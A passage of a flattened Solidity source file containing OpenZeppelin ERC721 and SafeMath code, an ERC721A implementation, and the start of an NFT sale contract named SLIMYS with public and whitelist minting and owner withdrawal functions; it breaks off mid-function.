* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File @openzeppelin/contracts/token/ERC721/extensions/[email protected]
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this whites for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File @openzeppelin/contracts/utils/math/[email protected]
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex = 0;
uint256 internal immutable maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* `maxBatchSize` refers to how much a minter can mint at a time.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_
) {
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return currentIndex;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
function walletOfOwner(address owner) public view returns(uint256[] memory) {
uint256 tokenCount = balanceOf(owner);
uint256[] memory tokenIds = new uint256[](tokenCount);
if (tokenCount == 0)
{
return tokenIds;
}
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
tokenIds[tokenIdsIdx] = i;
tokenIdsIdx++;
if (tokenIdsIdx == tokenCount) {
return tokenIds;
}
}
}
revert("ERC721A: unable to get walletOfOwner");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
require(_exists(tokenId), "ERC721A: owner query for nonexistent token");
uint256 lowestTokenToCheck;
if (tokenId >= maxBatchSize) {
lowestTokenToCheck = tokenId - maxBatchSize + 1;
}
for (uint256 curr = tokenId; curr >= lowestTokenToCheck; curr--) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > currentIndex - 1) {
endIndex = currentIndex - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
contract SLIMYS is ERC721A, Ownable {
constructor() ERC721A("SLIMYS", "S",20) {}
using SafeMath for uint256;
using Strings for uint256;
string private baseURI;
string private blindURI;
uint256 public constant BUY_LIMIT_PER_TX = 20;
uint256 public MAX_NFT_PUBLIC = 4444;
uint256 private constant MAX_NFT = 4444;
uint256 public NFTPrice = 190000000000000000; // 0.19 ETH
uint256 public NFTPriceBundle = 360000000000000000; // 0.36 ETH
bool public reveal;
bool public isActive;
bool public isPresaleActive;
bool public freeMintActive;
bytes32 public root;
uint256 public WHITELIST_MAX_MINT = 2;
mapping(address => uint256) public whiteListClaimed;
mapping(address => bool) private giveawayMintClaimed;
/*
* Function to reveal all Slimmies
*/
function revealNow()
external
onlyOwner
{
reveal = true;
}
/*
* Function setIsActive to activate/desactivate the smart contract
*/
function setIsActive(
bool _isActive
)
external
onlyOwner
{
isActive = _isActive;
}
/*
* Function setPresaleActive to activate/desactivate the whitelist/raffle presale
*/
function setPresaleActive(
bool _isActive
)
external
onlyOwner
{
isPresaleActive = _isActive;
}
/*
* Function setFreeMintActive to activate/desactivate the free mint capability
*/
function setFreeMintActive(
bool _isActive
)
external
onlyOwner
{
freeMintActive = _isActive;
}
/*
* Function to set Base and Blind URI
*/
function setURIs(
string memory _blindURI,
string memory _URI
)
external
onlyOwner
{
blindURI = _blindURI;
baseURI = _URI;
}
/*
* Function to set NFT Price
*/
function setNFTPrice(uint256 _price) external onlyOwner {
NFTPrice = _price;
}
/*
* Function to set Max NFT
*/
function setNFTmax(uint256 max) external onlyOwner {
MAX_NFT_PUBLIC = max;
}
/*
* Function to withdraw collected amount during minting by the owner
*/
function withdraw(
)
public
onlyOwner
{
uint balance = address(this).balance;
require(balance > 0, "Balance should be more then zero");
address[11] memory _team = [
0xc224301674c3fca16383f5D1F36A08e7048e4d1C,
0xe70bB226F09399407C6e59a058BEAF34e785BB75, //50% until X NFT sold
0x88132cD837e8E952Cc38c6f71E6969C6E83D1Ffb, //50% until X NFT sold
0xC89E9ecF1B2900656ECba77E1Da89600f187A50D,
0xBC3F581C6B540447D61a788B4547C66A45584097,
0x5Bca3d2c54f7cEAB7f0b8e3b05Adf46B016823fD,
0x23C625789c391463997267BDD8b21e5E266014F6,
0x73b4953783087AfB8674a7a7eB082c3DEB31aFF5,
0x4335d2Bf93309701065961e359eEd999eD2B1Ea9,
0xCeC07E954f81224414Ac0a79249fd64577a0B727,
0x6a4AE2E404d7D2EB663079b449b2Cf497c97335F
];
uint32[11] memory _teamShares = [
uint32(485),
uint32(160),
uint32(160),
uint32(30),
uint32(10),
uint32(10),
uint32(15),
uint32(10),
uint32(30),
uint32(50),
uint32(40)
];
for(uint256 i = 0; i < _team.length; i++){
payable(_team[i]).transfer((balance * _teamShares[i]) / 1000);
}
}
/*
* Function to withdraw collected amount during minting by the owner
*/
function withdrawTo(
address _to
)
public
onlyOwner
{
uint balance = address(this).balance;
require(balance > 0, "Balance should be more then zero");
payable(_to).transfer(balance);
}
/*
* Function to mint new NFTs during the public sale
* It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))
*/
function mintNFT(
uint256 _numOfTokens
)
public
payable
{
require(isActive, 'Contract is not active');
require(!isPresaleActive, 'Presale is still active');
require(_numOfTokens <= BUY_LIMIT_PER_TX, "Cannot mint above limit");
require(totalSupply().add(_numOfTokens) <= MAX_NFT_PUBLIC, "Purchase would exceed max public supply of NFTs");
require(NFTPrice.mul(_numOfTokens) == msg.value, "Ether value sent is not correct");
_safeMint(msg.sender, _numOfTokens);
}
/*
* Function to mint new NFTs during the presale
* It is payable. Amount is calculated as per (NFTPrice.mul(_numOfTokens))
*/
function mintNFTDuringPresale(
uint256 _numOfTokens,
bytes32[] memory _proof
)
public
payable
{
require(isActive, 'Sale is not active');
require(isPresaleActive, 'Whitelist is not active');
require(verify(_proof, bytes32(uint256(uint160(msg.sender)))), "Not whitelisted");
if (!freeMintActive){
require(totalSupply() < MAX_NFT_PUBLIC, 'All public tokens have been minted');
require(_numOfTokens <= WHITELIST_MAX_MINT, 'Cannot purchase this many tokens');
require(totalSupply().add(_numOfTokens) <= MAX_NFT_PUBLIC, 'Purchase would exceed max public supply of NFTs');
require(whiteListClaimed[msg.sender].add(_numOfTokens) <= WHITELIST_MAX_MINT, 'Purchase exceeds max whitelisted');
if(_numOfTokens==2){
require(NFTPriceBundle == msg.value, "Ether value sent is not correct");
}else{
require(NFTPrice.mul(_numOfTokens) == msg.value, "Ether value sent is not correct");
}
whiteListClaimed[msg.sender] += _numOfTokens;
_safeMint(msg.sender, _numOfTokens);
} else {
